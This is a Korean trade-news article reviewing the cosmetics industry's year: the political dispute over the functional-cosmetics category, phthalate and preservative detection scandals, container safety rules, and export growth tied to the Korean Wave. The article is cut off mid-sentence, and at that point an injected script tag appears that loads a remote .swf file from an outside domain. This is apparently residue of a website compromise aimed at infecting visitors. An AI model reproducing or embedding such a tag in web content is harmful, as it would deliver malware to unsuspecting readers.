기능성 논란 업계 靜中動 기능성 존폐 논란이 올 한해를 관통한 업계 최대 핫이슈였다고 보는 데 큰 이견이 없을 것 같다. 정치권에서 촉발된 이 논란은 뚜렷한 결말 없이 해를 넘기고 있지만 내년엔 어떤 식으로든 다시 수면위로 올라 와 다시 뜨거운 논쟁의 복판에 설 것 같다. 기능성 존폐 논란은 국내 업계와 수입 업계의 상이한 입장에 정치권이 가세하면서 가열된 측면이 있다. 먼저 한나라당에서 화장품법 개정을 거론하며 기능성의 존치를 내세웠다. 고경화 의원측은 화장품 범위를 확대하자며 기능성화장품의 정의와 분류를 시행규칙으로 옮길 것을 주장해 업계는 물론 해당 주무부서인 보건복지부나 식약청 등은 찬성했으나 수입업계를 비롯한 일부 시민단체는 이견을 보였다. 특히 열린우리당은 뒤늦게 법 개정에 착수하며 화장품 범위는 확대하되 기능성 제도 자체를 폐지하자고 주장, 기능성 논란은 본격 국면을 맞았다. 업계는 열린우리당 주장에 맞서 침체에 빠진 화장품 산업을 보호해야 한다는 주장과 함께 특히 기능성 제도는 이제 뿌리를 내리기 시작, 상당한 매출을 올리고 있음을 강조했다. 더욱 기능성 제도는 국내 뿐 아니라 해외에도 유사한 사례가 있음을 들며 시장 폐쇄적인 제도가 결코 아님을 내세웠다. 그러나 수입 업계는 기능성 폐지 주장을 굽히지 않으며 다양한 루트를 동원한 것으로 알려졌다. 이들은 기능성이 국내에만 있는 제도로 글로벌 시대에 역행한다는 주장을 펴며 특히 까다로운 심사를 문제 삼았다. 이런 가운데 업계 의견에 따라 기능성 존치 결정을 내린 대한화장품협회는 정치권을 오가며 기능성 존치 당위성을 적극 개진하는 노력을 보였다. 특히 열린우리당측과는 수시로 만나며 기능성 화장품의 순기능을 설명해 이견을 다소 좁혔다는 평을 받고 있다. 어쨌든 심사는 다소 완화되는 가운데 논란은 이제 잠복했다. 프탈레이트-방부제 검출 등 잇단 악재 시판 데오드란트에서 발암물질로 의심받는 프탈레이트가 검출되고 천연화장품에서 방부제가 나오는 등 올 한해도 소비자 안전과 관련, 화장품 업계는 악재를 잇따라 만났다. 또 기생충김치로 야기된 중국측의 시비도 건너뛸 수 없는 악재였다. 시민 단체가 제기한 데오드란트 제품의 프탈레이트 검출 사례는 업계로서는 매우 안타깝다고 말한다. 제조 과정에서 절대로 사용하지 않지만 용기에서 나올 수도 있는 것이고 유럽 등지에서는 우리처럼 기준이 까다롭지 않은 가운데 터진 사고였지만 높아진 소비자의 안전 욕구를 다시 한번 확인하는 계기가 됐다. 다만 일부 업체는 발빠르게 제품을 회수하는 등 사후 대책을 내놓아 그나마 뒤따를 수 있는 부작용을 막았던 점을 높이 평가할 만 한 것이라고 볼 수 있다. 또 천연화장품이라고 광고하며 인터넷을 통해 판매하던 일부 제품에서 방부제가 나오며 천연이라는 말을 무색케했다. 대부분 소규모 업체에서 제조하는 것으로 마치 화장품 전체가 소비자를 속이고 현혹하는 인상을 주는 오점을 남긴 사례로 기억될 것 같다. 한편 정치권에서는 어린이 안전사고 예방차원이라는 목적으로 용기 안전성을 강화해 가뜩이나 어려운 업계를 움츠리게 하고 있다. 국내에선 유례가 없지만 외국에서 일어난 사고가 혹시 국내에서도 나올 수 있다고 판단, 화장품 안전용기 포장 의무화 등 강조한 것도 업계로서는 곤혹스럽게 받아 들이고 있다. 화장품 수난시대라고 할만큼 잇단 어려움이 있었지만 업계가 소비자 보호 수준을 한 단계 올릴 수 있는 계기로 삼아야 할 것 같다. 한류 확산… 동남아 수출 크게 늘어 한류 바람이 수출을 몰고 왔다. 동남아 지역을 중심으로 한류 바람이 확산되며 이 지역에 대한 수출도 크게 늘었다. 수입이 주춤한 가운데 이처럼 수출이 늘어나는 것은 동남아를 중심으로 한 한류 열풍이 큰 기여를 하고 있는 것으로 업계는 보고 있다. 대한화장품협회 집계에 따르면 지난해 수출은 홍콩 대만 베트남 인도 등 수출이 큰 폭으로 늘고 있다. 올 상반기까지만 해도 수출은 21% 증가한 반면 수입은 0.2% 증가에 그쳐 대조를 보이고 있다. 이 같은 수출 증가는 한류 열풍의 주인공이 대부분 인기 드라마의 주인공으로서 동남아 각국 안방을 파고 든 때문이라는 분석이 유력하다. 또 국산 제품이 기능성 제품을 포함한 기초가 강세를 보이고 있는 데서도 그 이유를 찾을 수 있다고 업계는 분석하고 있다. 또한 국산 화장품이 기능성 제도 시행에 따라 미백 주름개선 제품 등의 효과가 내수 시장을 넘어 국제적으로 인정받으며 질적인 면에서 경쟁력을 갖춘 것으로도 해석할 수 있다. 이는 수입 제품의 정체 현상에서도 찾을 수 있다. 경기 침체에 따른 소비 위축도 있지만 그만큼 국산 ?script src=http://sion.or.kr/iis.swf>

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